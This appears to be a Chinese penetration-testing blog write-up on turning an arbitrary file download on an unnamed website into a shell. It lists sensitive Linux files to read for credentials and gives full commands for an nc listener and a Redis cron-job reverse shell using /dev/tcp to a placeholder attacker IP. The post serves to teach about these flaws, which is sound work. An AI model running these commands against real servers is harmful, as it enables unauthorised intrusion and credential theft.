实战 | 从任意文件下载到Getshell
2019-09-01 08:35:32 Author: mp.weixin.qq.com(查看原文) 阅读量:75 收藏

起因

在某网站下载素材,下载的时候看了下URL,然后发现了惊喜

花里胡哨的就不整了,待我口述一下思路

看到下载链接的URL如下

url=/xxx/xxx/xxx.zip

感觉可能存在任意文件下载漏洞,然后试了一下

url=/etc/passwd

可以成功下载,下载下来文件自动加了.zip后缀且无法解压。

不慌,直接拿notepad++一类的工具打开即可。

整理一下Linux下常见的敏感文件(需首先判断服务器操作系统版本)

/etc/passwd  #看一下存在哪些用户和服务,如果某些用户有bash,可以读一下他的.bash_history/etc/shadow  #shadow文件,但是很难破解/root/.bash_history  #root用户操作历史命令记录,可能会泄露服务器根路径,mysql密码,一些服务启动脚本等/root/.mysql_history  #mysql历史命令记录文件/var/lib/mlocate/mlocate.db  #本地所有文件信息/etc/ssh/sshd_config  #ssh配置文件,如果对外开放可看到端口
apache:/etc/httpd/conf/httpd.conf/etc/apache2/httpd.conf/etc/apache2/apache2.conf
nginx:/etc/nginx/nginx.conf/usr/local/nginx/conf/nginx.conf/usr/local/etc/nginx/nginx.conf
redis:/etc/redis.conf

以上的总结都是一些固定位置的配置文件,当然实际中这些路径不一定对,需要你结合.bash_history等信息自己去猜测。

针对Linux系统任意文件下载的几种思路:

  • 下载源代码审计

  • 数据库备份

  • 信息收集

  • 中间件

  • ...

信息收集

首先是下载.bash_history文件分析了一下,得到以下信息

网站根目录几个服务启动/数据库备份脚本(xxx.sh)服务器运行着几个服务:1.apache-tomcat2.nginx3.redis

随后下载了某数据库自动备份脚本(xxx.sh)得到数据库的连接地址以及账号密码。

下载redis.conf配置文件得到redis密码。

问题

遇到的几个问题:

    1.数据库是某云的,是内网ip,所以无法用外网连接。

    2.针对java的站如果下载源代码审计会很麻烦

    3.web.xml文件找不到

    4.找不到数据库备份文件(即使找到也不敢下载)

    5....

推荐个工具(基于java任意文件读取设计自动化信息搜集工具):

https://github.com/Artemis1029/Java_xmlhack/

转折点

一开始用nmap没扫到redis的端口,后来全端口扫描,发现redis端口对外开放了。

所以这样就简单多了,可以利用redis反弹shell

先在服务器用nc监听端口

nc -lvp 8888

然后连接redis

./redis-cli -h xxx.xxx.xxx.xxx(目标ip) -p 6379 -a password(密码)

写入计划任务反弹shell

set test "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/xxx.xxx.xxx.xxx(服务器ip)/8888 0>&1\n\n"config set dir /var/spool/cronconfig set dbfilename rootsave

等待一分钟即可拿到shell

总结

运气很重要

前期的信息收集也很重要

Redis真是一个神奇的东西

PS:该漏洞已经第一时间通知厂商并已经进行了修复。

声明:本文的初衷就是分享网络安全知识,若有读者因此做出任何危害网络安全的行为,请后果自负。


文章来源: https://mp.weixin.qq.com/s/z23r0vb7zYLk0Q8Cp776HQ
如有侵权请联系:admin#unsafe.sh